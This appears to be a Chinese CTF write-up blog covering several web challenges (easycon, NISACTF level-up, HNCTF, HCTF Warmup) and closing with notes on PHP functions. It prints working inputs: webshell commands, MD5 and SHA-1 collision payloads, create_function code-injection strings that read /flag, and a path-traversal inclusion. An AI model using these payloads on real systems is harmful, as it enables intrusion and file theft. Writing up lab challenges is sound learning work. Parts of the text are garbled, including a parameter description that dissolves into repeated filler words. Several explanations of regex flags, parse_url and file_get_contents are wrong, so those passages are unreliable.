Advertisement

web刷题记录(5)

阅读量:

[羊城杯 2020]easycon

打开后,默认会进入一个测试页面,在这个标准界面中,
我认为通常不会有明显的漏洞或攻击点,
因此这里建议尝试扫描目录以寻找可能存在的关键信息网页。

扫了一半发现,很多都是和index.php文件有关,这里选择查看该文件

访问以后发现是一个弹窗

这个弹窗在功能上与一句话木马高度相似。通过分析该弹窗的三个关键词词义, 大致可以推断出: eval指令用于执行函数, post参数采用特定的方式, cmd遵循特定的命令格式。针对这些关键词词义展开探讨: 一方面, 通过考察一句话木马, 可以判断其是否具备与蚁剑建立联系的可能性; 另一方面, 采用特定的方式作为参数, 进行远程控制。

思路一:

确实能连接,那么这里选择看看文件信息先

我大致浏览了一下目录,在查看的过程中,并没有找到任何与flag直接相关的文档。然而意外地发现了份可疑文件是个可疑文件。

通过查看这个包含的信息片段, 我们可以大致推断这是一个将Base64编码转换为图像的过程。此外,在开头处发现了一个字符串片段'/9j/', 根据经验这通常与Base64编码相关联; 同时发现缺失的部分包括'data:image/jpg;base64,' 使用网络搜索找到一个专门处理Base64编码并将其转换为图像的小工具。将这些数据导入该工具后, 输出结果中包含了所需的标志符。

就得到了flag

思路二:

直接执行命令,post传参

cmd=system('ls');

tac命令查看那个文件

也可以获得目标文件信息,可通过同样方式解码获得关键flag信息

[NISACTF 2022]level-up

在初始界面中没有发现什么有用的信息

看看源代码

发现提示有Disallow指令,说明有robots.txt文件,直接访问看看\

发现有提示文件信息,再进入

开始代码审计

通过这种方式关闭了PHP的错误报告机制,并确保即使在代码中出现错误时也不会将这些错误信息传递到网页上。这种做法是一种常见且被广泛采用的安全策略,并且通常会隐藏潜在的问题(例如,在某些情况下(如格式不正确时),可能会忽略这些提示)。

include "str.php";:该代码旨在引入名为 "str.php" 的外部文件以加载特定功能模块,并暗示该模块包含关键功能或数据项以支持当前脚本的操作逻辑

如果同时设置了键名为 "array1" 和 "array2" 的 POST 请求数据。

$a1 = (string) $_POST['array1'];$a2 = (string) $_POST['array2'];:将接收的 POST 请求字段数据转换为字符串,并依次赋值给变量 a1 和 a2。

if ($a1 == $a2){ die("???"); }:验证两个变量是否相同。当变量相同时会立即返回错误提示,并导致程序提前退出以避免潜在问题。
这种逻辑设计存在明显的不合理之处。

if (md5($a1) === md5($a2)){ echo $level3; }:通过 MD5 算法计算两个变量的哈希值,并比较它们是否一致。若两者哈希值相同,则会打印变量 level3 的内容。这意味着当两个字符串在经过 MD5 加密后的结果一致时,level3 将被输出。

否则将错误信息"level 2 failed ..."输出并退出程序

否则(Else)语句会调用show_source函数并传递当前文件路径__FILE__作为参数。如果未接收名为array1array2的POST请求参数,则该脚本会直接显示当前文件的源代码。这也是一种用于调试和探索脚本运行机制的技术手段。需要注意的是,这种机制可能会泄露一些代码细节以及潜在的安全隐患。

此处分析的是一个典型的MD5类型题目。存在的问题是由于这里是基于强匹配和字符类型的题目,在这种情况下使用0e和[]无法实现目标,并且必须确保字符串与MD5完全一致。

复制代码
 4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2

    
 4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2
    
 他们的md5值相同,都是
    
 008ee33a9d58b51cfeb425b0959121c9

因为里面有不可见字符,所以这里选择用url编码输出不可见字符

payload

复制代码
    array1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&array2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

得到Level___3.php

这个的话,和前一个代码绕过有点像

但是是sha1的强碰撞

payload

复制代码
 array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1

    
  
    
 array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

得到了level_level_4.php

这里涉及一个知识点就是parse_url()函数的应用,在后续内容中将会详细介绍这一过程。简而言之,则是要求取指定URL并解析其中的各项组成部分;随后利用get()方法传递参数时需要注意的一点是:存在一种正则表达式能够去除参数中的下划线字符;但如果我们不想遵循这一规则,则可以选择使用上加号符号或方括号来规避这一限制。

复制代码

这里的关键呢,就是

if(preg_match('/^[a-z0-9_]*$/isD',$a)) :通过正则表达式验证变量 $a 是否仅由小写字母、数字以及下划线组成(而不考虑大小写字母的情况)。当匹配结果为真时会执行以下代码段:其中/i用于忽略大小写的比较,默认情况下/i会被启用以便于后续操作;/s用于匹配所有不可见空白字符;而/D选项表示该模式不会接受末尾换行符的存在。

/^[a-z0-9_]*/isD 表示这是一个正则表达式模式。其作用范围是从字符串开始到末尾(^至),遵循任意数量的小写字母、数字和下划线的规则,并且带有不区分大小写的标记(i)。其中 D 表示该模式未启用多行模式。

这里我也没有完全掌握相关知识,在查看了其他师傅的wp文档之后才意识到需要使用create_function()函数来进行处理。

在else块中可通过调用create_function方法生成一个匿名函数实例,并采用注释的方式以(/*)形式取消显示最终的payload

大概了解之后呢,就有多种解法了

解法一:

?a=\create_function&b=}system('cat /f*'); /*

创建第一个,并让其跳过正则匹配;然后关闭create_function函数;从而实现我们希望执行的代码。

后面的/*是为了取消原本的}符号,并导致执行系统调用命令'cat /f*'的行为,这个*号具有通配功能,相当于搜索所有以f开头的文件。

解法二:

?a=\create_function&b=}var_dump(file_get_contents("/flag"));/*

这里跟上面不同之处在于这里采用了其他两个方法来处理问题采用的方法是先调用var_dump输出结果,并结合file_get_contents函数用于获取或查看flag中的内容该函数通过读取文件内容并将其转换为字符串形式返回

与解法一有一点不同之处的是,在获取flag文件信息时不能使用通配符操作。由于flag文件读取操作具有较为独特的特点,在确定具体的payload之前需要先执行scandir命令对整个系统根目录进行扫描工作。通过运行scandir命令扫描整个根目录后能够精准定位出目标flag文件的具体路径位置,并在此基础上进一步确定了相应的payload信息。

[HNCTF 2022 Week1]What is Web

web学习的思路推荐

由于题目标签提供了源码泄露的相关信息,在源代码中查找是否有相关的注释给予提示可能是一个有效的方法。花了一些时间仔细查看了一下之后,并未发现明显的线索或提示信息。因此选择了进一步检查的方法,并定位到问题所在区域。

解码,得到flag

[HNCTF 2022 Week1]Interesting_http

题目中带有http,猜测与http协议有关

使用Post方法传递参数时直接传递Want字段不起作用。因此,在此处的Want字段应当被视为一个参数。这可能是一个提示信息。

替换一下1,试试看,提示不是admin

抓包看看

发现这个信息是在cookie头里面,改掉

得到回显,要本地,改一下xff

得到了flag

[HCTF 2018]Warmup

打开就是一张图片,看看源码,发现有隐藏文件

还是代码审计

创建了一个名为EMMM的类,在该类中定义了一个静态方法 named checkFile用于验证是否需要包含指定文件。该方法接受一个参数$whitelist表示白名单列表(Whitelist),它是一个映射关系存储了允许多个文件及其相关信息的关键-值对。

在代码中,允许包含的文件有"source"=>"source.php"和"hint"=>"hint.php"。(白名单)

随后我对于这个mb_substr函数尚不理解。查阅了一些资料后大致明白了其基本用法但对其内部的具体实现细节仍存在疑惑。接着在代码中又插入了一个mb_strpos辅助函数该函数的调用依赖于另一个辅助函数mb_substr其主要功能是作为另一个参数的来源需要注意的是并非传统意义上的嵌套结构而是通过特定机制传递数据完成特定操作

PHP中的字符串连接运算符是'.'其主要功能是将两个单独的字符串合并成一个较长且连续的新综合字符串在本场景中该运算符会整合$page变量的内容与问号字符从而生成一个新的综合字符串用于判断新合成的完整字符串中是否包含问号字符

具体来说,在执行in_array()函数时

然后后面就是一直绕白名单,验证白名单

先尝试包含hint.php

在返回了响应的情况下(...),我们尝试通过?file=hint.php?ffffllllaaaagggg的方式进行文件输入,并未在底部显示任何内容(...),从而确认传入方式及格式无误(...)。随后推测文件可能带有后缀(如txtphp等),但经尝试依然未能解决问题(...)。这表明路径设置存在问题(...)。因此,在source.php页面下进行的传参操作(利用include函数加载目标文件)并未通过验证机制(...)。我们需要重新审视整个路径结构:从source.php位于HTML目录下开始(...),往上应有wwwvar等多个目录层(如果存在配置文件则需考虑相关因素)。(建议再次检查一下)

成功获得了flag(实际上四者就足够返回到根目录)

知识点:

RCE(远程代码执行漏洞)

由于应用系统允许用户输入特定远程命令的操作流程,并且常见配置包括诸如路由器、防火墙以及入侵检测设备等的Web管理界面。通常情况下,系统将提供一个基于Ping操作的Web界面,供用户从其上输入目标IP地址,随后后方会对该IP地址执行Ping测试并返回相应的结果信息.因此,若设计人员未采取严格的安全防护措施,便可能使得攻击者能够利用该接口发送恶意命令,进而能够反向控制应用系统.当这些恶意代码运行于后台时,甚至能够操控整个后台服务器.

还有代码执行函数:

eval():将字符串作为php代码执行;

assert():将字符串作为php代码执行;

preg_replace():正则匹配替换字符串;

create_function():主要创建匿名函数;

call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数;

call_user_func_array():一种用于调用用户自定义函数数组的方式;该机制的第一个操作数用于指定调用的名称,在第二个操作数中接收了一系列的操作数

可变函数:当一个变量后面紧跟括号时,则该变量会被当作其后的括号中的内容作为参数传递给前面的函数名称所代表的函数执行;前提是该变量值必须是一个存在的函数名。

Disallow指令

Disallow 指的是一个文件或目录的操作指令,
它被用来阻止搜索引擎访问或抓取这些内容。
通常,在 robots.txt 文件中执行此操作,
并且该文件位于网站根目录下。
它不仅指示哪些网页是可以被访问的,
还说明哪些网页应当被忽略。

例如,在网站管理中设置特定的访问权限时,默认情况下允许用户查看站点内的所有资源。为了防止敏感资源被非授权用户访问,在 robots.txt 文件中应配置相应的安全策略。具体来说,在 robots.txt 文件中定义允许规则时,请确保将此路径标记为不可寻址以避免搜索引擎抓取该目录下的任何资源。

复制代码
 User-agent: *

    
 Disallow: /private/

在leve-up那题里面也有具体展示

parse_url()函数

该内置函数负责解析(Uniform Resource Locator)`这一字符串并将其分解为各个组成部分,并最终生成一个包含URL各组成部分的关联数组。

下面是 parse_url() 函数的基本语法:

php

parse_url(string $url [, int $component = -1 ] ) : mixed

  • url 代表需要解析处理的一个URL字符串。
    • component$ 是一个可选参数,
      用于指定需提取或返回特定URL组件的信息。
      它的默认设置为-1,
      这意味着函数会自动生成一个包含所有所需组件信息的数据结构,
      其中包括:
  • component$ 的取值范围从最小值-1到最大值454,
    其中-1表示提取整个URL的所有组成部分,
    而其他数值则对应不同的组成部分类型:
  • component$ 等于-1时,
    函数会提供一个完整的列表;
    如果指定某个具体的常量,
    则仅返回对应的那部分信息。
    这些可用常量包括:
  • PHP_URL_SCHEME 表示URL协议类型(如http、https等);
  • PHP_URL_HOST 表示网站主机名称;
  • PHP_URL_PORT 表示端口号;
  • PHP_URL_USER 表示用户名;
  • PHP_URL_PASS 表示密码;
  • PHP_URL_PATH 表示路径部分;
  • PHP_URL_QUERY 表示查询字符串部分;
  • PHP_URL_FRAGMENT 表示URL中的片段标识符(即#后面的子串);
    这些选项提供了丰富的选择来满足不同的需求。

parse_url() 这个函数能够对 URL 字符串进行解码,并能够生成一个关联数组对象。这个对象中包含有关 URL 各个组成部分的信息内容。基于指定的 URL 参数设置不同值后,在调用此函数时会得到相应的结果数据集。通过这个数组对象就可以访问并获取各个 URL 部分的具体值。

复制代码
 $url = "https://www.example.com/path/to/page?param1=value1&param2=value2#section";

    
  
    
 $url_components = parse_url($url);
    
  
    
 echo $url_components['scheme']; // 输出:https
    
 echo $url_components['host']; // 输出:www.example.com
    
 echo $url_components['path']; // 输出:/path/to/page
    
 echo $url_components['query']; // 输出:param1=value1&param2=value2
    
 echo $url_components['fragment']; // 输出:section

使用parse_url()函数能够有效地从URL字符串中解析出各个组成部分,并用于后续处理

create_function()函数

该功能属于PHP中的一个过时组件,在生成匿名(anonymous)的可调用对象方面具有重要作用。
该组件接受两个参数:参数字符串以及对应的代码片段(function body),并会返回一个可执行的代码块实例。
曾经广泛应用于PHP 5.3之前的版本中作为创建匿名函数的工具。
自PHP 7.2.0开始不再支持该功能,并指出其弃用的原因主要是由于使用的潜在安全风险以及可能带来的性能影响。

下面是 create_function() 函数的基本语法:

create_function(string $args, string $code) : callable|false

  • $args:一个叫做$args的字符串变量,在匿名函数中用于定义参数列表,并且这些参数是以逗号分隔的形式出现的例子包括'(arg1, arg2)'。
    • $code:另一个叫做$code的重要变量,在匿名函数中被用来定义其功能部分,并且它具体实现了的功能代码块就是整个函数体的内容。

该函数通过调用 create_function() 会生成一个匿名函数实例;或在异常发生时返回布尔值 false

举例来说,在这个示例中调用 create_function() 函数生成了一个匿名函数对象,并将其赋值给变量 $add$。该函数实现了接收两个数并进行相加操作。

复制代码
 $add = create_function('$a, $b', 'return $a + $b;');

    
 echo $add(2, 3); // 输出:5

var_dump打印函数

var_dump() 是 PHP 中的一个重要函数,在内存管理中具有特殊用途。它能够将内存中的变量信息以清晰的方式呈现出来,并通过详细的结构展示帮助开发者更好地理解程序运行过程及查看内部存储情况。该函数尤其适合用于调试程序运行过程及查看内部存储情况等场景。

下面是 var_dump() 函数的基本语法:

var_dump(mixed $expression [, mixed $... ] ) : void

  • $expression$: 需要输出的标识符或计算式。
    • mixed$: 支持各种类型的参数。

var_dump()函数用于输出变量的各种属性信息。具体而言涉及变量的数据类型以及当前存储的值

  • 当处理标量数据时(例如整数、浮点数或字符串),请输出该变量的数据类型及其具体的值。
  • 当处理数组时,请输出该数组的数据类型、具体包含多少个元素以及每条元素所具有的键及其对应的值。
  • 当处理对象时,请输出其所属数据类型的详细信息及所属类名;同时,请报告该对象所拥有的属性总数以及每条属性的具体名称与对应值。
  • 对于其他特殊类型的变量(例如NULL或资源),请输出其具体数据类型的详细信息。

var_dump()函数输出极为详尽,在调试过程中以及查看变量具体内容方面都提供了极大的便利

file_get_contents函数

在PHP中,“file_get_contents() 这个内置函数负责将整个文件的内容读入一个字符串,并返回这个字符串。

下面是 file_get_contents() 函数的基本语法:

复制代码
    file_get_contents(string $filename [, bool $use_include_path = FALSE [, resource $context [, int $offset = -1 [, int $maxlen = NULL ]]]]) : string|false 
  • $filename:待读取的文件路径或URL地址。
    • $use_include_path$(可选):一个布尔型变量,表示是否启用include_path目录搜索功能,默认设置为False$(表示默认情况下不启用)。
    • $context$(可选):一个数据类型上下文参数变量组或特定资源类型的上下文信息设置项集合体结构体实例体实例组体集合体实例组实例体实例组集合体实例组集合体实例组集合体实例组集合体实例组集合体实例组集合体实例组集合体实例组集合体实例组集合体实例组集合体示例`.
    • $offset$(可选):指定起始位置的位置偏移量(以字节为单位)。默认值为-1$表示从文件开头开始读取
    • $maxlen$(可选):最大字节数限制值。默认设置为`\ NULL``````

file_get_contents() 函数会返回目标文件内容的一个字符串变量,并将其存储为该字符串变量;如果读取操作无法成功,则函数返回 FALSE

除了本地文件外, $file_get_contents() 函数也可用于获取远程文件的信息, 例如网站上的一个 URL. 需要注意的是, 在使用该函数获取远程文件时, 需要确保启用 allow_url_fopen 选项. 由于默认情况下此选项已启用, 但在某些特殊环境下可能会被禁用. 因此, 在执行 level-5 操作时, 应先检查 phpinfo 中的相应设置后再调用该函数. (此外, 对于体积较大的文件, 使用 $file_get_contents() 可能会导致整个文件加载到内存中, 从而占用大量内存资源. 因此在处理此类情况时需谨慎操作.)

substr()、strpos() 和in_array()函数

(mb_strpos和strpos,substr和mb_substr在功能上几乎没什么区别)

strpos(string,find,start)函数:

在目标文本中找出指定字符首次出现的位置。特别注意:所有字符的位置起始索引为零。
参数 描述:
string 必需。规定被搜索的字符串。
find 必需。规定要查找的字符。
start 可选(默认值为零)。规定开始搜索的位置。

mb_substr(str,start,length,encoding) 函数:

从给定的字符串中提取指定部分内容而言,在substr()函数的作用范围内仅处理英文字符。而mb_substr()则同样适用于中文字符。

正号在字符串起始位置开始;负号从结束位置开始;零用于起始位置。

length 可选。规定要返回的字符串长度。默认是直到字符串的结尾。

正数 - 从 start 参数所在的位置返回
负数 - 从字符串末端返回

encoding 可选。字符编码。如果省略,则使用内部字符编码。

in_array(search,array,type)函数:

在数组中查找是否存在指定值,并根据查找到的结果返回布尔值 TRUE 或 FALSE。

if (in_array(_page, whitelist)) {
return true;
}

全部评论 (0)

还没有任何评论哟~